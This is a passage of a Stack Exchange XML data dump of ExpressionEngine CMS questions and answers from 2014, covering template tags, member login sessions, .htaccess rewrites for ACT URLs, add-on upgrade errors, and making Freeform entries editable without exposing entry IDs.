&quot;http://www.mysite.com/products/&quot;.&quot;beauty/$catPath1/$lastSegment&quot;;&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;h3&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo $autoPath; ?&amp;gt;&quot; title=&quot;{title}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;p&amp;gt;{excerpt}&amp;lt;/p&amp;gt;&#xA;{paginate}&amp;lt;p&amp;gt;{pagination_links}&amp;lt;/p&amp;gt;{/paginate}&#xA;&#xA;{/exp:search:search_results}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2794" LastActivityDate="2014-10-21T17:39:35.023" Title="Search results to display category names" Tags="|search|php|categories|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26364" PostTypeId="1" CreationDate="2014-10-21T18:46:59.183" Score="0" ViewCount="125" Body="&lt;p&gt;Context: In this situation, I cannot use the template tag {exp:member:login_form}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to parse the information sent via POST to login a member to the site.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('session');&#xA;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('auth');&#xA;&#xA;$return = &quot;...&quot;; // This variable is set somewhere else and is not an issue&#xA;&#xA;// DEBUG A: print_r($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata);&#xA;&#xA;if(!!$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata[&quot;username&quot;]) {&#xA;&#xA;    // Member is already logged in&#xA;    $this-&amp;gt;EE-&amp;gt;functions-&amp;gt;redirect($return);&#xA;&#xA;} else {&#xA;&#xA;    // Member is trying to log in&#xA;    $username = $this-&amp;gt;input-&amp;gt;post(&quot;username&quot;, true);&#xA;    $password = $this-&amp;gt;input-&amp;gt;post(&quot;password&quot;, true);&#xA;&#xA;    $session = $this-&amp;gt;EE-&amp;gt;auth-&amp;gt;authenticate_username($username, $password);&#xA;&#xA;    if(!$session){&#xA;&#xA;        // Error handling here&#xA;&#xA;    } else {&#xA;&#xA;        // Member authenticated. Redirects.&#xA;        $session-&amp;gt;start_session();&#xA;        $session-&amp;gt;remember_me();&#xA;&#xA;        // DEBUG B: print_r($this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata);&#xA;&#xA;        $this-&amp;gt;functions-&amp;gt;redirect($return);&#xA;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I confirm that a session is created in the database when &lt;code&gt;$session-&amp;gt;start_session()&lt;/code&gt; is called. Cookies are also present in the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I uncomment &lt;code&gt;DEBUG B&lt;/code&gt;, I can see that the &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata&lt;/code&gt; array is filled with correct info. If I uncomment &lt;code&gt;DEBUG A&lt;/code&gt; and revisit the page, &lt;code&gt;$this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata&lt;/code&gt; does not recognized the user I'm logged as. It seems the session does not persists. What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="591" LastEditorUserId="591" LastEditDate="2015-08-05T13:05:29.353" LastActivityDate="2015-08-05T13:05:29.353" Title="Programmatically logging in not working" Tags="|members|login|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26365" PostTypeId="2" ParentId="25649" CreationDate="2014-10-21T21:48:48.330" Score="-1" Body="&lt;p&gt;It looks as if your code is missing the closing &lt;code&gt;&amp;lt;/a&amp;gt;&lt;/code&gt; tag. &lt;/p&gt;&#xA;" OwnerUserId="3717" LastEditorUserId="28" LastEditDate="2014-10-24T23:31:46.577" LastActivityDate="2014-10-24T23:31:46.577" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26366" PostTypeId="1" CreationDate="2014-10-21T22:09:21.033" Score="0" ViewCount="55" Body="&lt;p&gt;Here's my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries entry_id=&quot;{embed:id}&quot;}     &#xA;    {exp:tagger:tags entry_id=&quot;{entry_id}&quot; backspace=&quot;2&quot;}{tagger:tag_name}, {/exp:tagger:tags}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It spits out entry_id just fine. Is there a way to delay Tagger? Seems like it's not getting the entry_id passed. If I hard code an id in, I get the resutling tags, but this approach yields nothing. Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also tried running this with just {embed:id} in the place of {entry_id} with the same results. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The whole embed:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;tile-content {embed:posttype}&quot;&amp;gt;&#xA;    &amp;lt;div class=&quot;content-pad&quot;&amp;gt;&#xA;&#xA;        &amp;lt;i class=&quot;fa {embed:icon}&quot;&amp;gt;&amp;lt;/i&amp;gt;&#xA;&#xA;        &amp;lt;h3&amp;gt;{embed:title}&amp;lt;/h3&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;hashtags&quot;&amp;gt;&#xA;            &amp;lt;p&amp;gt;{exp:tagger:tags entry_id=&quot;{embed:id}&quot; backspace=&quot;2&quot;}{tagger:tag_name}, {/exp:tagger:tags}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;blocked&quot;&amp;gt;&#xA;&#xA;            &amp;lt;p&amp;gt;{embed:teaser}&amp;lt;/p&amp;gt;&#xA;&#xA;            {if embed:type == 'article'}&#xA;                &amp;lt;a class=&quot;btn btn-white&quot; href=&quot;{embed:link}&quot; target=&quot;_blank&quot;&amp;gt;READ MORE&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;&#xA;            {if embed:type == 'blog-post' OR embed:type == 'exec'}&#xA;                &amp;lt;a class=&quot;btn btn-white&quot; href=&quot;{embed:link}&quot;&amp;gt;Read More&amp;lt;/a&amp;gt;&#xA;            {/if}&#xA;&#xA;        &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's pulling in the data from here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;post&quot; orderby=&quot;random&quot; limit=&quot;1020&quot; paginate=&quot;bottom&quot;}&#xA;    {exp:switchee variable = &quot;{the_post_type}&quot; parse=&quot;inward&quot;}&#xA;        {case value=&quot;article&quot;}&#xA;&#xA;            {embed=&quot;tile/index&quot;&#xA;                icon=&quot;fa-newspaper-o&quot;&#xA;                title=&quot;{title}&quot;&#xA;                teaser=&quot;{post_teaser}&quot;&#xA;                link=&quot;{post_source}&quot;&#xA;                type=&quot;{the_post_type}&quot;&#xA;                id=&quot;{entry_id}&quot;&#xA;                posttype=&quot;{post_type}&quot;&#xA;            }&#xA;&#xA;        {/case}&#xA;    {/exp:switchee}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="273" LastEditorUserId="273" LastEditDate="2014-10-21T22:42:36.507" LastActivityDate="2014-10-21T22:42:36.507" Title="Running DevDemon Tagger inside an embed" Tags="|parse-order|devdemon-tagger|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26367" PostTypeId="1" CreationDate="2014-10-21T22:17:12.890" Score="0" ViewCount="65" Body="&lt;p&gt;Is there an API that can get Channel Field Names being passed Channel Field IDs? I'm not looking for a third party solution. I can code a solution myself if that's the case.&lt;/p&gt;&#xA;" OwnerUserId="3350" LastActivityDate="2014-12-21T13:36:50.177" Title="Get Channel Field Names from Channel Field IDs?" Tags="|ee2|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26368" PostTypeId="2" ParentId="26315" CreationDate="2014-10-21T22:49:49.267" Score="7" Body="&lt;p&gt;I'm getting the same issue since upgrading to OS X Yosemite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suspect the real issue is your version of PHP has been upgraded to PHP 5.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While upgrading the OS I also swapped to PHP 5.6 and now all EE sites with debug mode enabled display this PHP notice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone else on the EllisLab forums has had the same issue and a fix has been posted:&#xA;&lt;a href=&quot;https://ellislab.com/forums/viewthread/244510/#1066393&quot;&gt;https://ellislab.com/forums/viewthread/244510/#1066393&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;UPDATE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Sorry guys, I should have provided a code sample to the fix originally in the event that the linked page disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Replace the last line in the &lt;code&gt;&amp;amp;get_config()&lt;/code&gt; method of &lt;code&gt;system/codeigniter/system/core/Common.php&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-      return $_config[0] =&amp;amp; $config;&#xA;+       $_config[0] =&amp;amp; $config;&#xA;+&#xA;+       return $_config[0];&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should fix the issue.&lt;/p&gt;&#xA;" OwnerUserId="841" LastEditorUserId="841" LastEditDate="2015-03-16T22:40:07.927" LastActivityDate="2015-03-16T22:40:07.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26369" PostTypeId="2" ParentId="26317" CreationDate="2014-10-21T23:13:39.853" Score="1" Body="&lt;p&gt;We use a combination of Low Reorder and Categories to enable the client to easily place and manage entries where they want in the navigation structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this fairly simple example we have the following fixed top level menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Corporate / Investor Centre / Projects / Contact / Home&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mM4Mv.jpg&quot; alt=&quot;Site showing navigation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Corporate, Investor Center and Projects draw entries from the same channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have corresponding categories attached to the channel - Corporate, Investor Center and Projects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the client creates or manages an entry they can check the relevant category, for example &quot;Corporate&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/O0phF.jpg&quot; alt=&quot;Editing entry and Categories&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Low Reorder is used so that there is a &quot;set&quot; for each menu item -  Corporate, Investor Center and Projects&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2n5EV.jpg&quot; alt=&quot;Low Reorder Sets&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each Low Reorder set draws entries from the channel and filters them with entries that have been tagged with the relevant Category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/38Wyc.jpg&quot; alt=&quot;Filtering the sets&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The client can happily reorder the entries and this is reflected on the front end.&#xA;It is also easy for them to have an entry appear under a different menu by simply checking a different category when they edit an entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LiH4Q.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastEditorUserId="165" LastEditDate="2014-10-22T00:08:02.813" LastActivityDate="2014-10-22T00:08:02.813" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26370" PostTypeId="2" ParentId="26265" CreationDate="2014-10-22T01:54:20.393" Score="-1" Body="&lt;p&gt;AB Pagination was a bit more than I needed, so I wound up just adding an artificial &quot;home&quot; button on the pagination for the &quot;continued&quot; pages.&lt;/p&gt;&#xA;" OwnerUserId="2218" LastActivityDate="2014-10-22T01:54:20.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26371" PostTypeId="2" ParentId="26296" CreationDate="2014-10-22T03:36:05.617" Score="2" Body="&lt;p&gt;I'm the author of CE Image and looked into troubleshooting this with Jon. We figured out that he had the correct config settings, but that index.php config settings were moved too far down in the index.php file. Moving the files up above the require_once of the EE Bootstrap file solved the problem.&lt;/p&gt;&#xA;" OwnerUserId="936" LastActivityDate="2014-10-22T03:36:05.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26372" PostTypeId="2" ParentId="26360" CreationDate="2014-10-22T03:45:22.170" Score="0" Body="&lt;p&gt;Yes you are required to be a member to be a subscriber. The subscription is connect to their membership.  In an upcoming version we will add the member creation to the subscription tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Brad&lt;/p&gt;&#xA;" OwnerUserId="164" LastActivityDate="2014-10-22T03:45:22.170" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26373" PostTypeId="1" CreationDate="2014-10-22T08:58:46.007" Score="2" ViewCount="88" Body="&lt;p&gt;This has been covered elsewhere for earlier versions but the solution doesn't seem to fix this issue. I'm getting the following error when I update from Playa 4.4.5 to 4.5.1, on EE 2.7.2:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A Database Error Occurred&#xA;enter preformatted text here`Error Number: 1060&#xA;&#xA;Duplicate column name 'parent_element_id'&#xA;&#xA;ALTER TABLE exp_playa_relationships ADD parent_element_id VARCHAR(255) NULL AFTER parent_var_id&#xA;&#xA;Filename: third_party/playa/ft.playa.php&#xA;&#xA;Line Number: 488&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1315" LastActivityDate="2014-10-22T11:56:37.840" Title="P&amp;T Playa update from 4.4.5 to 4.5.1 database error" Tags="|playa|pixelandtonic|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26374" PostTypeId="2" ParentId="26373" CreationDate="2014-10-22T11:56:37.840" Score="1" Body="&lt;p&gt;I had the same problem, setting the version number to 4.5 in exp_fieldtypes should solve your problem. I modified the version number inside the EE database, inside this exp_fieldtypes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related answers&#xA;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/24653/playa-upgrade-error-in-ee-2-9&quot;&gt;Playa upgrade error in EE 2.9&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1918" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2014-10-22T11:56:37.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26375" PostTypeId="2" ParentId="26367" CreationDate="2014-10-22T12:34:27.087" Score="3" Body="&lt;p&gt;no, is not such function in  Channel Fields API  (api_channel_fields-&gt;get_settings is not worked as expected). &#xA;So you can do query for now&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$field_name = ee()-&amp;gt;db-&amp;gt;select('field_name')-&amp;gt;where('field_id', '19')-&amp;gt;get('channel_fields', 1);&#xA;echo $field_name-&amp;gt;row()-&amp;gt;field_name;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-10-22T12:34:27.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26376" PostTypeId="1" AcceptedAnswerId="26388" CreationDate="2014-10-22T13:41:49.247" Score="0" ViewCount="853" Body="&lt;p&gt;I'm using v2.8.1, and I'm having problems with ACT URLs. They don't seem to be working. The issue came up with DevDemon Channel Images, but I think it's related to Action IDs in general, as the logout is not working either. ACT URLs redirect to the homepage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They work on my local site, which is a mirror of the remote and has the same .htaccess file. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss. I've tried adjusting the htaccess, and removing it, and clearing the cache, all with no luck. I'm hosted at hostgator, here's the htaccess file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;        RewriteEngine On&#xA;        RewriteBase /&#xA;&#xA;        # Removes index.php from ExpressionEngine URLs&#xA;        RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;        RewriteCond %{REQUEST_URI} !/systemname/.* [NC]&#xA;        RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;        # Directs all EE web requests through the site index file&#xA;        RewriteCond %{REQUEST_FILENAME} !-f&#xA;        RewriteCond %{REQUEST_FILENAME} !-d&#xA;        RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&#xA;     AddType text/x-component .htc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Has anyone had any similar problems, or an approach for debugging? Thanks in advance for any help. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: When I add index.php to the ACT URL, it works... I'm assuming that I can update the HTACCESS file to get this working, but I'm not sure how. &lt;/p&gt;&#xA;" OwnerUserId="1885" LastEditorUserId="1885" LastEditDate="2014-10-22T14:06:52.577" LastActivityDate="2014-12-22T13:58:42.290" Title="Action IDs, ACT URLs not working" Tags="|logout|action|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26377" PostTypeId="1" CreationDate="2014-10-22T15:17:11.260" Score="0" ViewCount="43" Body="&lt;p&gt;Is it possible to add channel entries to a group and let it respect the privacy settings of that group?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;In other words: Allow the group creator to create content (channel entry) for a group.&lt;/li&gt;&#xA;&lt;li&gt;If the group is private, then those channel entries respect that&lt;/li&gt;&#xA;&lt;li&gt;If not private, then users can read/comment/interact with that channel entry.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3719" LastActivityDate="2016-05-29T03:20:47.330" Title="Adding channel entries to a specific group in Friends" Tags="|solspace|solspace-friends|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26381" PostTypeId="1" CreationDate="2014-10-22T23:51:43.307" Score="0" ViewCount="133" Body="&lt;p&gt;I've inherited a site from another developer and a very strange hosting setup (moving to a new host as soon as I can get the site working locally). I've finally managed to get the site almost working locally (it works fine live). I can login to the CP and make changes there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue that I am having is with the front end. If there are channel entries tags anywhere on the page either the direct template or an embedded template I get a webpage is not available. It's not even a white page. See screenshot attached.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as I remove/comment out channel entries tags the page loads fine. I've tried template_debugging, output_profiler, setting debug = 1 or 2 and nothing outputs anything on the front end to give a clue as to what is going on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7.2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions on how to troubleshoot this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nel6F.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2014-10-23T13:47:31.887" Title="If Any Channel Entries tags - webpage unavailable" Tags="|channel-entries|debugging|blank-screen|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26382" PostTypeId="1" CreationDate="2014-10-23T01:44:19.950" Score="1" ViewCount="74" Body="&lt;p&gt;I've got the focuslab config set up and everything works fine on localhost. However my staging server it doesn't work. I've determined that it's likely due to using an ipaddress in the host for config.env.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    case '111.222.333.444' :&#xA;        define('ENV', 'stage');&#xA;        define('ENV_FULL', 'Staging');&#xA;        define('ENV_DEBUG', FALSE);&#xA;    break;&#xA;&#xA;    default :&#xA;        define('ENV', 'local');&#xA;        define('ENV_FULL', 'Local');&#xA;        define('ENV_DEBUG', TRUE);&#xA;    break;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If I take one of my domains and use it as a pointer domain on the same server and change the ip to the domain it works. Unfortunately I can't keep that domain pointed there as I did that just for testing. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the non work is &lt;code&gt;http://111.222.333.444/~username&lt;/code&gt; but if I point a domain to the same host it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there some way to get master config to work with an ip address instead of a domain?&lt;/p&gt;&#xA;" OwnerUserId="15" LastActivityDate="2015-01-23T14:13:03.800" Title="focuslab config - ip address for host not working" Tags="|focus-lab-master-config|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26383" PostTypeId="1" CreationDate="2014-10-23T06:07:47.283" Score="1" ViewCount="133" Body="&lt;p&gt;I want to still allow users to edit their freeform entries without being logged in, but I need some security so the entry ID isn't in the URL, or hashed so it's not easily guessed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is this possible? Seems it was missed during development but seems short sighted and the nature of forms are usually operated by unregistered members?&lt;/p&gt;&#xA;" OwnerUserId="1308" LastEditorUserId="159" LastEditDate="2014-10-23T09:56:14.140" LastActivityDate="2015-03-22T11:49:14.720" Title="How to make Freeform forms editable without using the entry_id in the URL" Tags="|solspace|security|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26384" PostTypeId="2" ParentId="26383" CreationDate="2014-10-23T08:40:52.787" Score="2" Body="&lt;p&gt;First, for guests to be able to edit Freeform entries, you need to use the &lt;code&gt;restrict_edit_to_author=&quot;no&quot;&lt;/code&gt; parameter (&lt;a href=&quot;http://www.solspace.com/docs/freeform/edit/#restrict_edit_to_author&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/edit/#restrict_edit_to_author&lt;/a&gt;) in your &lt;code&gt;{exp:freeform:edit}&lt;/code&gt; form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your initial form, i.e. when using &lt;code&gt;{exp:freeform:form}&lt;/code&gt; or &lt;code&gt;{exp:freeform:composer}&lt;/code&gt;, make sure to have created and associated a field (eg. text or hidden) that will contain a random hash value. Let's call it &lt;code&gt;{my_unique_hash}&lt;/code&gt; in this example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your form, make sure you have this field named &lt;code&gt;my_unique_hash&lt;/code&gt; and have it filled with a hash value. You can create one using PHP, plugins, or other methods. The important thing is that the string is long enough and random enough for users to not be able to easily guess it. In this example, let's use the {csrf_token} variable which creates this kind of string:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;my_unique_hash&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When the user submits the form, the &lt;code&gt;my_unique_hash&lt;/code&gt; field value is also saved in the Freeform entry. You can then retrieve the Freeform entry corresponding to the value of this hash by using the &lt;code&gt;search:my_unique_hash=&quot;&quot;&lt;/code&gt; parameter in &lt;code&gt;{exp:freeform:entries}&lt;/code&gt; (&lt;a href=&quot;http://www.solspace.com/docs/freeform/entries/#search_field_name&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/freeform/entries/#search_field_name&lt;/a&gt;). Eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries &#xA;     search:my_unique_hash=&quot;efd9f395ae6fdc0c9baa83af2c84f973f44948de&quot;&#xA;     /* other parameters here */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can have the hash in the URL, eg. &lt;code&gt;http://mysite.com/form/edit/efd9f395ae6fdc0c9baa83af2c84f973f44948de&lt;/code&gt;, and feed the URI segment in &lt;code&gt;{exp:freeform:entries}&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries &#xA;    search:my_unique_hash=&quot;{segment_3}&quot; &#xA;    /* other parameters here */&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;From &lt;code&gt;{exp:freeform:entries}&lt;/code&gt;, you now have &lt;code&gt;{freeform:entry_id}&lt;/code&gt;, which you can put in &lt;code&gt;{exp:freeform:edit}&lt;/code&gt;. The code would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;    search:my_unique_hash=&quot;{segment_3}&quot;&#xA;    /* other parameters */ }&#xA;&#xA;    {exp:freeform:edit&#xA;        entry_id=&quot;{freeform:entry_id}&quot;&#xA;        restrict_edit_to_author=&quot;no&quot;&#xA;        /* other parameters */ }&#xA;&#xA;      // Your form&#xA;&#xA;    {/exp:freeform:edit}&#xA;&#xA;{/exp:freeform:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will give you an editable form that avoids using the entry_id in the URL, and replaces it with a much harder-to-guess hash value.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-23T08:40:52.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26385" PostTypeId="2" ParentId="26381" CreationDate="2014-10-23T08:56:24.853" Score="2" Body="&lt;p&gt;First, disable gzip compression in the config (gzip_output = 'n'): &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#gzip-output&quot; rel=&quot;nofollow&quot;&gt;https://ellislab.com/expressionengine/user-guide/general/system_configuration_overrides.html#gzip-output&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, look at the error that appears when refreshing the page :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(of course, $debug must be 1 for the error to show)&lt;/p&gt;&#xA;" OwnerUserId="189" LastEditorUserId="189" LastEditDate="2014-10-23T09:02:04.870" LastActivityDate="2014-10-23T09:02:04.870" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26386" PostTypeId="2" ParentId="26377" CreationDate="2014-10-23T09:01:36.403" Score="0" Body="&lt;h1&gt;1.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;If you look at the example in the documentation (&lt;a href=&quot;http://www.solspace.com/docs/friends/group_entry_add/#examples&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/friends/group_entry_add/#examples&lt;/a&gt;), you can see this dropdown to display groups when using the Group Entry Add form:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;friends_group_id[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;   {exp:friends:groups dynamic=&quot;off&quot;}&#xA;       &amp;lt;option value=&quot;{friends_group_id}&quot;&amp;gt;{friends_group_title}&amp;lt;/option&amp;gt;&#xA;   {/exp:friends:groups}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could limit that list to group owners using the &lt;code&gt;{friends_group_owner_id}&lt;/code&gt; parameter (&lt;a href=&quot;http://www.solspace.com/docs/friends/groups/#friends_group_owner_id&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/friends/groups/#friends_group_owner_id&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;friends_group_id[]&quot; multiple=&quot;multiple&quot;&amp;gt;&#xA;   {exp:friends:groups dynamic=&quot;off&quot;}&#xA;      {if logged_in_member_id == friends_group_owner_id}       &#xA;          &amp;lt;option value=&quot;{friends_group_id}&quot;&amp;gt;{friends_group_title}&amp;lt;/option&amp;gt;&#xA;      {/if}&#xA;   {/exp:friends:groups}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;2.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;private=&quot;&quot;&lt;/code&gt; parameter in {exp:friends:group_entries} should allow you to not show entries from a private group. In the docs: &lt;a href=&quot;http://www.solspace.com/docs/friends/group_entries/#private&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/friends/group_entries/#private&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;3.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;See answer for #2. Commenting and interacting (I'm assuming editing?) with entries depends on the code you decide to put inside &lt;code&gt;{exp:friends:group_entries}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-10-23T09:01:36.403" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
